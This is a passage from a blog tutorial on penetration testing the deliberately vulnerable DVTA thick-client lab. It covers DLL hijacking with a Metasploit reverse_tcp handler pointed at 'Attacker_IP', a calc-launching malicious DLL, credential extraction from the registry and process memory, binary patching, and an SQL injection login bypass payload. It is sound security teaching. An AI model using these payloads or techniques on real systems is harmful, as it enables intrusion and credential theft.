src="https://cdn-images-1.medium.com/max/400/1*L5QmOBr9JKjH8Q1Vq-Rs0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*prUZOpBuBPP7WQspdNQtIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*q1jDrZsKKUS7JE0_2uvMIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*ws1haWh_XmHCtCASw92QKg.png" /></figure><p><strong>Step 6</strong> — Start the Msfconsole.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uk9i8CC4jdpeTjCmkVM_hg.png" /></figure><pre>use exploit/multi/handler</pre><pre>set payload windows/meterpreter/reverese_tcp</pre><pre>set LHOST Attacker_IP</pre><pre>set LPORT 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*0b6MQBr2BcY-325oKcBh2w.png" /></figure><pre># exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*I07Gk03zmFGQHaKW81DdhQ.png" /></figure><p><strong>Step 7</strong> — Now; Close the DVTA application if already running and run it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*WyoyGHiHn3Fn9h2jXLiUZw.png" /></figure><p>As soon as you run the application you’ll see you get a meterpreter session to your attacker machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6u0s3rV-Is0-r1yloPcPOQ.png" /></figure><p><strong>Step 8</strong> — Verifying the Target.</p><pre>sysinfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*538xv_cvOtArNOelO0yvkA.png" /></figure><p><strong># <em>shell</em></strong></p><p><strong># <em>cd C:\</em></strong></p><p><strong># <em>dir</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*-t9hRjFn5FlCEqFxXMWBQw.png" /></figure><p>Hence with this we can conclude that the application DVTA is vulnerable to “DLL hijacking”.</p><blockquote><strong>Note — The above technique was one the few techniques for performing dll hijacking. There are other techniques as well which is similar to the above technique explained and involve most of the above steps. You can read about it from the links mentioned under the reference section.</strong></blockquote><ul><li><strong>Method 2✌🏻 –</strong></li></ul><p><strong>Tools</strong> — Procmon + Visual Studio</p><p>Now, there might be a case where you don’t have access to Msfvenom. So, in that case, you can build your own dll code in Visual Studio with the “missing DLL file name”.</p><p><strong>Step 1</strong> — Identify the missing dll file that the application is calling.</p><p>As of now, you guys know how to use Procmon to find the missing dll. We have already found that “CRYPTSP.dll” is been called by our target application.</p><p><strong>Step 2</strong> — Create a dll file with the name “CRYPTSP” where the code inside will be responsible for poping-up a calculator once the DVTA calls our dll.</p><p>Copy and Paste the following dll code which I got from the Internet in Visual Studio.</p><pre>#include “pch.h”<br> <br>#include &lt;windows.h&gt;<br><br>int maliciousTestDll()<br><br>{<br><br>WinExec(“calc”, 0);<br><br>return 0;<br><br>}<br><br>BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)<br><br>{<br><br>maliciousTestDll();<br><br>return 0;<br><br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*6NouQmArKBDnAJpdA6_O7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*cMDkFjGtA52qwl66ITNcrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*u5E_D91yZIQCCPDhNIBVsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*vTzffcrbdntGm9D_L3zI7Q.png" /></figure><p>Step 3 — Copy and Paste the dll in the required file path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*WrqI6YEW3svjIY_pWmKGDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*CM53mAURSBwINwu9mQZn_w.png" /></figure><p><strong>Step 4 </strong>— Run the application again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*w85odLHNxgnR5TOSZ9G6OQ.jpeg" /><figcaption>We can see that the calculator pops up hence we can conclude that the exe is vulnerable to DLL hijacking.</figcaption></figure><p>· <strong>Binary Analysis</strong> -</p><p>In Binary Analysis, we’ll manually analyze the binary that is the source code by decompiling it to look for sensitive information, such as:</p><p><strong><em>- Hard-coded credentials</em></strong></p><p><strong><em>- API Keys</em></strong></p><p><strong><em>- API Endpoints</em></strong></p><p><strong><em>- Comments</em></strong></p><p><strong><em>- Hidden functions</em></strong></p><p>As I said before knowing the languages and framework on which our application is built will be helpful for us to use the right tool to decompile it. So we know that DVTA is a .NET Application written in C# so we can use tools such as — dnSpy, dotpeek, JustDecompile etc</p><p><strong>Tool</strong> — dnSpy</p><p><strong>Step 1</strong> — Open “dnSpy” and open “DVTA” in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pG4L8yOs8b_H3h3Ls-wpAg.png" /></figure><p><strong>Step 2</strong> — From the below screenshot we can see that the Source Code is not Obfuscated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*FthpF6SzUoGrxT3Em-HfpQ.png" /></figure><p>While analyzing the source code we might find sensitive data in an unencrypted form. For ex — Here we can see that the FTP server password is stored in clear text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YbdCycbvrk20ezcZwtAGig.png" /></figure><p>· <strong><em>File Analysis –</em></strong></p><blockquote>Applications usually store information in local files and the registry. Sensitive information that we might look for in a thick client pentest includes:</blockquote><ul><li>Usernames</li><li>Passwords</li><li>DB Connection Strings</li><li>API keys</li></ul><p>Open and Analyze the log file(s), config file(s), .txt file(s) and other files present in the application folder for any sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*EKWlmLT1qWtsTobY2ZryJw.png" /></figure><p><strong><em>· Registry Monitoring</em></strong></p><blockquote>Some applications store/writes data like usernames, passwords, or other sensitive information in the Windows registry.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ewKv_MkhazTru_C6l2lTLQ.png" /></figure><p>Launch Process Monitor and login into the application. There are some operations performed in order to store data in the registry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*xGHt_Q_6XnJlJtsRzJNsaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*qPG4bhJTSnxHzU7rrbaM7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*KzTzivM9YK06Rl4kf53icw.png" /></figure><p>As we can see that the application is storing some value in the registry. So let’s check in that registry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*toi1zW3b08eUSW2dccfTfw.png" /></figure><p>The Below screenshot show that critical data like login credential are being stored in the registry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*ZECUCL3hDvpjbfhAAsdHtg.png" /></figure><ul><li>Storing sensitive data like login credentials in the registry is not a good practice as a local adversary can steal it.</li></ul><p><strong><em>· Memory Analysis</em></strong></p><blockquote>Thick client applications developed in a two-tier architecture transfer sensitive information into the application’s memory.</blockquote><blockquote>This is a design flaw, because every thick client application developed in a two-tier architecture will, by default, disclose sensitive information in the application’s memory, such as Usernames, Passwords, Connection strings, and Hardcoded database credentials.</blockquote><p><strong>Tool</strong> — <a href="https://sourceforge.net/projects/processhacker/">ProcessHacker</a> or <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a></p><p><strong>Step 1</strong> — Login into the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*hGHM86HWPvMVR1Hr2MTpSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*NxnJuQl37EqjW5-CyIzqxw.png" /></figure><p><strong>Step 2</strong> — Run “ProcessHacker”. <em>Right Click on “DVTA.exe”</em> &gt; <em>Properties</em> &gt; <em>Memory</em> &gt; <em>Strings</em>. Choose the minimum length as 10 and click on <em>OK</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*sr_vGHBmOU6nVWMpU2nq-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*2dC0yslj_e6PPMpCjwZVOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*J-eJp66JAN7shtGWSGVmkQ.png" /></figure><p><strong>Step 3</strong> — Search for String — “<strong>password</strong>” and click OK. As we can see we have found some unencrypted passwords that was dumped in the memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*LwMk3tZo01S9XTkDFQdHRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*_vLAJETjKcBUdj4nctKluw.png" /></figure><p><strong>· Reverse Engineering and Modifying the Application</strong></p><blockquote>There are cases where a user logs In and some menus are disabled for him. For instance, he is the maker and he can’t have checker menus so some developers disable them in the client assuming that the user cannot enable them and these disabled menus can be easily enabled in C sharp.net applications.</blockquote><p>Now let’s see how we can do that. First of all, simply take a copy of the Extracted DVTA Release folder in case we did something wrong or messed up with codes so simply, we can start from fresh without downloading it again (Take a backup of the original application files/ folders every time while performing reverse engineering).</p><p>We can use many tools in order to decompile .NET applications as our application is a .NET application as we found out in the Recon phase.</p><p><em>Tools such as dnSpy, dotPeek, .NET Reflector, etc. But I personally use </em><strong>dnSpy</strong><em> as it provides —</em><strong><em> .NET decompiler, debugging, and assembly language editing (IL editor).</em></strong></p><p><strong>Tool</strong> — <a href="https://github.com/dnSpy/dnSpy">dnSpy</a></p><p><strong>Step 1</strong> — Open the DVTA application and we’ll notice that the login menu contains a Button called “<em>Configure Server</em>” which is disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*TWzaGsD4YHttSaw2Uu9rdw.png" /></figure><p><strong>Step 2</strong> — Now open “dnSpy” and go the code part where it has the logic for that configure server button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*HXWJT1GOq8CiWnogn-jOmQ.png" /></figure><p>It can be seen that it has a Boolean value set to “<strong><em>false</em></strong>”<em> </em>that’s the reason the button is disabled. So we’ll change the Boolean value and set it to “<strong><em>true</em></strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*z6GRVFEc6OJZw2JVhsus3Q.png" /></figure><p><strong>Step 3</strong> —<em> Select the value “false”</em> &gt;&gt; <em>Right Click</em> &gt;&gt; <em>Edit Method (C#)</em> and change the value from <em>false to true</em>. After that click on Compile and Save the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*U4OcMPbtiKkUBtU1psC1bA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*2XlGQMTtz9vFdxU9y1UpvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*MM79plDu0YN1If90LdY7Cw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*9eq3GCGdFDzSObB_1gq2qg.png" /></figure><p><strong>Step 4</strong> — Now Open the DVTA app; we can see that the button is now enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*-eeSvQGjZB-f1YbmRwunnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*7980RP5jS1-tH9fmkqj8vw.png" /></figure><p>Although this was only a minor part, reverse engineering needs expertise and a thorough grasp of the application’s operation.</p><p><strong><em>· Source code scanning through an automated scanner</em></strong></p><blockquote>Once we decompiled the binary, we can use an automated code scanner to identify security vulnerabilities by submitting the directory consisting the source code for the binary to the ‘VisualCodeGrepper”. VisualCodeGrepper identifies security vulnerabilities and presents them in a pie chart.</blockquote><p><strong>Tool</strong> — <a href="https://github.com/nccgroup/VCG">VisualCodeGrepper</a></p><p><strong>Step 1</strong> — Decompile the DVTA application using “dnSpy” and export the source code for DVTA into a folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*RzM0D-UC5FzV5xgHq0n82Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*4VgzpbiyMnMivX5pHjFcCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*bMV6nugw2tfMmJTkRqtylQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*BVDfFlD5Ybk5fNtxCIbJ2Q.png" /></figure><p>Now; we have the source code for the dvta which is in C# language.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*jJhLULTHNNnKRjRUUnBDBg.png" /></figure><p><strong>Step 2</strong> — Open the VisualCodeGrepper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*fYaP5mWyrC_54vjwOg-uKQ.png" /></figure><p><strong>Step 3</strong> — Select language as C#.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*AvasffZcmzMzARdMFKTevg.png" /></figure><p><strong>Step 4</strong> — Go to New Target Directory &gt;&gt; Select the folder where source codes are saved &gt;&gt; OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*7yCyfcpbaQT__fFiLOZeeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*W0753wey5ktdthv2tyssFw.png" /></figure><p>The source code files are loaded in the scanner. Now Click on “Scan &gt;&gt; Full Scan” and then under “Results” view the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*GQy8MgG-9lIZBxd3tUmUEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*Z9Xsnj5HASQrMo0MpytZJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*E-tu0-CNNSVOTdWxO0zrpw.png" /></figure><p><strong><em>· Serve Side Analysis –</em></strong></p><ul><li>SQL Injection</li></ul><p>The most common vulnerability in thick client applications is SQL Injection.</p><p>Damn Vulnerable Thick Client application is also affected by SQL injection.</p><p>Let’s see how this attack works.</p><p>As we have already noticed during the Network/ Traffic analysis phase while login SQL query is being transmitted to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*D3Ukl1B44S2veIjzcWBJLQ.png" /><figcaption>App communicating directly with DB server.</figcaption></figure><p><strong>Step 1</strong> — Let’s inject a classical SQLi payload — <strong><em>1’ OR 1=1 — </em></strong>and see what happens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*KZOuxmPCMr-Ns9VhzYD-rg.png" /></figure><p>As we can see we got logged in into the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*W1XY00dAqs7DJXeQFQmPfQ.png" /></figure><p>In order to intercept the traffic between the thick client application and the server, we should use a proxy tool. The proxy tool will be in the middle between the thick client and the local/remote server, enabling us to view and modify the transmitted data.</p><p>When we talk about intercepting thick client traffic, we should know the difference between:</p><blockquote><strong>+Proxy aware</strong> — A thick client that has proxy settings options in the application itself or in some case if the Thick Client respects the proxy setting same as system proxy setting.</blockquote><blockquote>- <strong>Non-proxy-aware</strong> — A thick client that does not have any proxy settings options in the application itself and requires a different testing approach.</blockquote><ul><li>If the thick client application is proxy aware, it may be possible to intercept the traffic using any proxy tool.</li><li>When the thick client is non-proxy-aware, Burp Suite’s support for invisible proxying allows non-proxy-aware clients to connect directly to a Proxy listener.</li></ul><p><strong>TOOLS</strong> –</p><ul><li>“3 — Tier”</li></ul><p>(Proxy Aware)➡ Burp Suite</p><p>(Proxy Unware) ➡Burp Suite’s “Invisible Proxy”, MITM relay etc.</p><ul><li>“2 — Tier” — Echomirage</li></ul><p>- <strong>Tools</strong> –</p><p>· CFF Explorer — <a href="https://ntcore.com/?page_id=388">https://ntcore.com/?page_id=388</a></p><p>· Sigcheck — <a href="https://download.sysinternals.com/files/Sigcheck.zip">https://download.sysinternals.com/files/Sigcheck.zip</a></p><p>· Wireshark — <a href="https://www.wireshark.org/download.html">https://www.wireshark.org/download.html</a></p><p>· Echomirage — <a href="https://sourceforge.net/projects/echomirage.oldbutgold.p/">https://sourceforge.net/projects/echomirage.oldbutgold.p/</a></p><p>· Procmon — <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">https://learn.microsoft.com/en-us/sysinternals/downloads/procmon</a></p><p>· dnSpy (For Windows)- <a href="https://github.com/dnSpy/dnSpy/releases">https://github.com/dnSpy/dnSpy/releases</a></p><p>· dotPeek — <a href="https://www.jetbrains.com/decompiler/">https://www.jetbrains.com/decompiler/</a></p><p>· Process Hacker — <a href="https://processhacker.sourceforge.io/downloads.php">https://processhacker.sourceforge.io/downloads.php</a></p><p>· Winhex — <a href="https://www.x-ways.net/winhex/">https://www.x-ways.net/winhex/</a></p><p>· Visual Code Grepper — <a href="https://sourceforge.net/projects/visualcodegrepp/">https://sourceforge.net/projects/visualcodegrepp/</a></p><p>· BurpSuite — <a href="https://portswigger.net/burp/communitydownload">https://portswigger.net/burp/communitydownload</a></p><ul><li><strong>References</strong> –</li></ul><p>· <a href="https://www.hackingarticles.in/thick-client-pentest-lab-setup-dvta-2/">https://www.hackingarticles.in/thick-client-pentest-lab-setup-dvta-2/</a></p><p>· <a href="https://www.hackingarticles.in/thick-client-pentest-lab-setup-dvta-part-2/">https://www.hackingarticles.in/thick-client-pentest-lab-setup-dvta-part-2/</a></p><p>· <a href="https://www.cobalt.io/blog/attacking-windows-applications-part-1">https://www.cobalt.io/blog/attacking-windows-applications-part-1</a></p><p>· <a href="https://www.cobalt.io/blog/attacking-windows-applications-pt.-2">https://www.cobalt.io/blog/attacking-windows-applications-pt.-2</a></p><p>· <a href="https://medium.com/techzap/dll-hijacking-part-1-basics-b6dfb8260cf1">https://medium.com/techzap/dll-hijacking-part-1-basics-b6dfb8260cf1</a></p><p>· <a href="https://atherosec.medium.com/is-your-executable-vulnerable-to-dll-hijacking-8c31cb3f31e1">https://atherosec.medium.com/is-your-executable-vulnerable-to-dll-hijacking-8c31cb3f31e1</a></p><p>· <a href="https://payatu.com/blog/thick-client-penetration-testing/">https://payatu.com/blog/thick-client-penetration-testing/</a></p><p>So that’s all for this blog; I will be publishing one more blog regarding <em>Thick Client Security Testing</em>, where we will look into another application called “BetaFast” (3-tier) and “BetaBank” (2-tier) developed by NetSPI.</p><p>Stay tuned!</p><blockquote>Hope you found this blog interesting and informative. As this was my 1st blog if you found any mistakes, particularly grammatical mistakes you can comment down below.</blockquote><p>Your valuable comments and feedback are welcome.</p><p>Thank you for reading!<br>धन्यवाद पढ़ने के लिए! <br>अनुगृहीतोऽस्मि पठितवान्<br>¡Gracias por leer!<br>Danke fürs Lesen!<br>読んでくれてありがとうございます!<br>شكراً على القراءة</p><p>Благодарю за чтение!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78f0015ed94f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>